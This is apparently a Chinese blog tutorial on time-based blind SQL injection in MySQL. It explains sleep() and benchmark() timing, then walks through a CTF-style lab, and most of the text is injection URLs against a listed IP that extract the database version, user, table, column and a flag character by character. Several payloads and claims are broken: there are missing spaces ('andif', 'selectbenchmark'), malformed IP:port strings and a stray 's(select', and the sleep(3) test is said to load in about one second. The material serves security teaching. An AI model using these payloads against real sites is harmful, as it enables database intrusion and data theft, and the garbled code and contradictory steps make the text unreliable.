社区微信群开通啦,扫一扫抢先加入社区官方微信群
社区微信群
延时注入属于盲注技术的一种,它是一种基于时间差异的注入技术,下面以Mysq为例讲解延时注入。
在MYSQL中有一个函数:sleep(duration),这个函数的意识是在duration参数给定的秒数之后运行语句,如下SQL语句:
select * from users where id=1 and sleep(3); /* 3秒之后执行SQL语句*/
知道了sleep函数可延时后,那么就可以使用这个函数来判断URL是否存在SQL注入漏洞,步骤如下:
http://xxx.xxx.xxx.xxx/test.jsp?id=1 /页面返回正常,1秒左右可以打开页面
http://xxx.xxx.xxx.xxx/test.jsp?id=1 ' /页面返回正常,1秒左右可以打开页面
http://xxx.xxx.xxx.xxx/test.jsp?id=1 ' and 1=1 /页面返回正常,1秒左右可以打开页面
http://xxx.xxx.xxx.xxx/test.jsp?id=1 ' and sleep(3) /页面返回正常,1秒左右可以打开页面
通过页面返回的时间可以断定,DBMS执行了and sleep(3)语句,这样一来就可以判断出URL确实存在SQL注入漏洞。
思路:
(1)查询当前用户,并获取字符串长度
(2)截取字符串第一个字符,并且转换为asicc码
(3)将第一个字符的ASCII与ASCII码表对比,如果对比成功将延迟3秒。
(4)继续步骤2、3,直至字符串截取完毕。
对应的SQL语句如下:
(1)and if length (user())=0,sleep(3),1)
循环0,如果出现3秒延时就可以判断出user字符串的长度,注入时通常会采用半折算法减少判断。
(2)and if(hex(mid(user(),1,1))=1,sleep(3),1)
取出use字符串的第一个字符,然后与ASCII码循环对比。
(3)and if(hex(mid(user(),L,1))=1,sleep(3),1)
递归破解第二个ASCII码,第三个ASCII码,直至字符串最后一个字符为止。
同理,既然通过延时注入可以读取数据库中当前的MYSQL用户,那么读取表、列、文件都市可以实现的。
不仅在MYSQL中存在延时注入,在Sql server、Oracle等数据库中也存在类似功能的函数比如SQL server中的waitfor delay、Oracle中的DBMS_LOCK。SLEEP等函数。
目标站点:
http://222.18.158.243:4609/?id=1
数据库版本 5.5
http://222.18.158.243:4609/?id=1 andif(left(version(),1)=5,sleep(1),1)%23
http://222.18.158.243:4609/?id=1 andif(left(version(),1)=6,sleep(1),1)%23
http://222.18.158.243:4609/?id=1 and if(left(version(),1)=4,sleep(1),1)%23
可以看到=5时,时间线长度与其他有明显区别。说明数据库版本为第1个字符为5。
同理,http://222.18.158.243:4609/?id=1 and if(left(version(),3)=5.5,sleep(1),1)%23
可以得出数据库版本为5.5
数据库连接用户名长度为18(下面的就不一一截图了)
http://222.18.158.243:4609/?id=1 andif(length(user())=18,sleep(1),1)%23
用户名第一个字符为s
http://222.18.158.243:4609/?id=1 andif(left(user(),1)='s',sleep(1),1)%23
用户名前2个字符为sq
http://222.18.158.243:4609/?id=1 andif(left(user(),2)='sq',sleep(1),1)%23
用户名前18个字符为sql_user@localhost
http://222.18.158.243:4609/?id=1 andif(left(user(),18)='sql_user@localhost',sleep(1),1)%23
数据库名长度为6
http://222.18.158.243:4609/?id=1 and if(length(database())=6,sleep(1),1)%23
数据库第一个字符为s
http://222.18.158.243:4609/?id=1 and if(left(database(),1)='s',sleep(1),1)%23
或者
http://222.18.158.243:4609/?id=1 and if(ascii(substring((database()),1,1))=115,sleep(1),1)%23
...................
表名的第一个字符为f
http://222.18.158.243:4609/?id=1 and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='f',sleep(1),1)%23
......
字段名的第一个字符为f
http://222.18.158.243:4609/?id=1 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1),1)='f',sleep(1),1)%23
......
字段内容长度为14
http://222.18.158.243:4609/?id=1 and if(length((select flag from flag limit 0,1))=14,sleep(1),1)%23
..............
字段内容第一个字符为w
http://222.18.158.243:4609/?id=1 and if(left((select flag from flag limit 0,1),1)='w',sleep(1),1)%23
或者
http://222.18.158.243:4609/?id=1 and if(ascii(substring((SELECT flag FROM flag),1,1))=119,sleep(1),1)%23 (修改limit 猜解结果)
......
字段前14个字符为wlgf(wlshfghj)
http://222.18.158.243:4609/?id=1 and if(left((select flag from flag limit 0,1),14)='wlgf{wlshfghj}',sleep(1),1)%23
BENCHMARK(count,expr) 函数重复count次执行表达式expr,它可以用于计时MySQL处理表达式有多快,结果值总是0。
实验过程与sleep函数类似
数据库版本5.5
数据库版本的第1个字符为5
http://222.18.158.243:4610/?id=1 and if(left(version(),1)=5,(select benchmark(10000000,md5(0x41))),1)%23
..................
数据库版本为5.5
http://222.18.158.243:4610/?id=1 and if(left(version(),3)=5.5,(select benchmark(10000000,md5(0x41))),1)%23
数据库连接用户名长度为18
http://222.18.158.243:4610/?id=1 and if(length(user())=18,(selectbenchmark(10000000,md5(0x41))),1)%23
.......................
数据库连接用户名前18个字符为sql_user@localhost
http://222.18.158.2434610/?id=1 and if(left(user(),18)='sql_user@localhost',(selectbenchmark(10000000,md5(0x41))),1)%23
数据库名长度为6
http://222.18.158.243:4610/?id=1 andif(length(database())=6,(select benchmark(10000000,md5(0x41))),1)%23
数据库名第一个字符为s
http://222.18.158.2434610/?id=1 andif(ascii(substring((database()),1,1))=115,(selectbenchmark(10000000,md5(0x41))),1)%23
........................数据库名前6个字符为sql_db
http://222.18.158.243:4610/?id=1 and if(left(database(),6)='sql_db',(selectbenchmark(10000000,md5(0x41))),1)%23
表名长度为4http://222.18.158.243:4610/?id=1 andif(length((select table_name from information_schema.tables wheretable_schema=database() limit 1,1))=4,(selectbenchmark(10000000,md5(0x41))),1)%23
...........................表名的第一个字符为f
http://222.18.158.243:4610/?id=1 andif(left((select table_name from information_schema.tables wheretable_schema=database() limit 1,1),1)='f',(selectbenchmark(10000000,md5(0x41))),1)%23
.....................
表名的前2个字符为fl
http://222.18.158.243:4610/?id=1 andif(left((select table_name from information_schema.tables where table_schema=database()limit 1,1),2)='fl',(select benchmark(10000000,md5(0x41))),1)%23
表名的前4个字符为flag,即表名
http://222.18.158.243:4610/?id=1 andif(left((select table_name from information_schema.tables wheretable_schema=database() limit 1,1),4)='flag',(select benchmark(10000000,md5(0x41))),1)%23
字段名长度为4
http://222.18.158.243:4610/?id=1 andif(length((select COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0x666c6167 limit 1,1))=4,(selectbenchmark(10000000,md5(0x41))),1)%23
字段名的第一个字符为f
http://222.18.158.243:4610/?id=1 andif(left((select COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0x666c6167 limit 1,1),1)='f',(selectbenchmark(10000000,md5(0x41))),1)%23
字段名的前2个字符为fl
http://222.18.158.243:4610/?id=1 andif(left((select COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0x666c6167 limit 1,1),2)='fl',(selectbenchmark(10000000,md5(0x41))),1)%23
字段名的前4个字符为flag,即表名
http://222.18.158.243:4610/?id=1 andif(left((select COLUMN_NAME from information_schema.COLUMNS whereTABLE_NAME=0x666c6167 limit 1,1),4)='flag',(selectbenchmark(10000000,md5(0x41))),1)%23
如果把LIMIT 1,1改为0,1,可以得到字段名id
字段内容长度为14:
http://222.18.158.243:4610/?id=1 andif(length((select flag from flag limit 0,1))=14,(selectbenchmark(10000000,md5(0x41))),1)%23
字段内容第一个字符为w
http://222.18.158.243:4610/?id=1 andif(left((select flag from flag limit 0,1),1)='w',(selectbenchmark(10000000,md5(0x41))),1)%23
或者
http://222.18.158.243:4610/?id=1 andif(ascii(substring((SELECT flag FROM flag),1,1))=119,(selectbenchmark(10000000,md5(0x41))),1)%23 (修改limit 猜解结果)
字段内容前2个字符为wl
http://222.18.158.243:4610/?id=1 andif(left((select flag from flag limit 0,1),2)='wl',s(selectbenchmark(10000000,md5(0x41))),1)%23
字段内容前14个字符为wlgf{wkzxhfks}
http://222.18.158.243:4610/?id=1 andif(left((select flag from flag limit 0,1),14)='wlgf{wkzxhfks}',(selectbenchmark(10000000,md5(0x41))),1)%23
这一部分学习起来可能有些枯燥,上面的例子也无法再读者本地进行测试,但是主要的测试思路是一样的,关键在于学习思路!
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!